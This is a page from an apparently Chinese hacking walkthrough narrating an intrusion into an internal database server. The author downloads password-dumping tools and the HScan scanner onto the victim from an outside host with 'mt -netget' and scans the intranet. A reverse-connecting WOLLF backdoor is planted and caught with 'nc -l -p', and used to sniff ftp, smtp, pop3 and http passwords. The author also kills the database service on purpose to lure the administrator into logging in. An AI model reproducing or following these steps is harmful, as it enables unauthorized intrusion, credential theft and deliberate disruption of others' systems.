二、上传反弹、监听木马显奇功。
利用MT。EXE –SYSINFO命令显示出数据库服务的系统信息，网卡信息，配置信息，和所安装的软件信息。如图3（只截了系统信息）
图3
是WIN2003怪不得用MT –FINDPASS命令没显出密码来，它只显示的2K的密码。利用命令mt –netget http://www.***.com/findpass2003.exe（mt-netget ---Download from http/ftp.）下载到本地一个看WIN2003密码的软件！！运行findpass2003.exe后没有在内存中找到密码！（看来的想办法让管理员登录了！哈哈）
运行命令： mt –netgethttp://www.***.com/hacan120.rar hscan.rar 下载一个HSCAN1。2进去，利用同样的方法又下载进去一个UNRAR。EXE然后执行命令：unrar.exe x hscan.rar 这样就把HSCAN。RAR解压到HSCAN目录当中了！可以利用HACSN1。2版本的DOS命令进行内网扫描，命令如下：hscan -h www.target.com -all –ping扫完其余两台以后没发现任何弱口令，但发现它们在内网中开了很多端口，如：21，80，135，139，3389 等
注意：HSCAN扫描完了以后，会生成报告，自动用浏览器打开，应该利用MT –PSLIST和MT –PSKILL把这个浏览器关掉！
即然开了3389能不能利用端口重定向，把它定向到数据库这台机器上呢，经过实践利用mt -redirect----TCP port redirector. 和利用FPIPE都没有成功（定向后，用NETSTAT –AN命令看是端向成功，但是在外网还是没法访问）哪数据库这台机器能不能利用带反弹型的图形木马来控制屏幕呢？实践证明利用神气儿，灰鸽子，溯雪都失败了！看来只能装DOS版的后门了，哪试试APR欺骗如何？因在DOS下没法安装图形界面的WINPCAP，所以ARPSINFFER。EXE无法运行！（后来自己做了一个DOS版的）
这台机器上除了操作系统，数据库，WIN2003补丁外什么都没装，难道真的就没有办法了吗？这时偶想到了一个木马，一个女黑客编写的，即有反向连接功能，又有监听功能，是什么呢？聪明的朋友，你猜到了吗？她就是大名鼎鼎，如雷贯耳，威名远波，无所不知的WOLLF（偶好喜欢她啊！ 哈哈）运行WOLLF –SETUP后做一个反向链接的木马，偶选择的是反向链接所取的IP放在一个HTTP空间的文件中！制作好后，同样利用MT。EXE –NETGET命令下载到数据库服务器当中，运行后，它会自动向你的HTTP空间中存放的文件中去取反向链接的IP和端口，这时你可以在本机上用NC –L –P PORT 慢慢等待，一会以后，反向连接成功了，输密码进入吧！如图4
进入后，执行命令：SNIFF(她可以监听 ftp/smtp/pop3/http四种密码经过网卡的 )findpass2003.exe不是还没找到密码吗?这时候,利用MT.EXE –PSKILL命令把它的数据库停掉，偶就不信管理员不来！在WOLLF环境下执行EXIT退出（但是监听程序还是在运行的，如果执行QUIT后，就不监听了），累死偶了，睡觉去了！
上一页 [1] [2] [3] [4] 下一页
[组图]内网数据库攻击例子(图)
您现在的位置：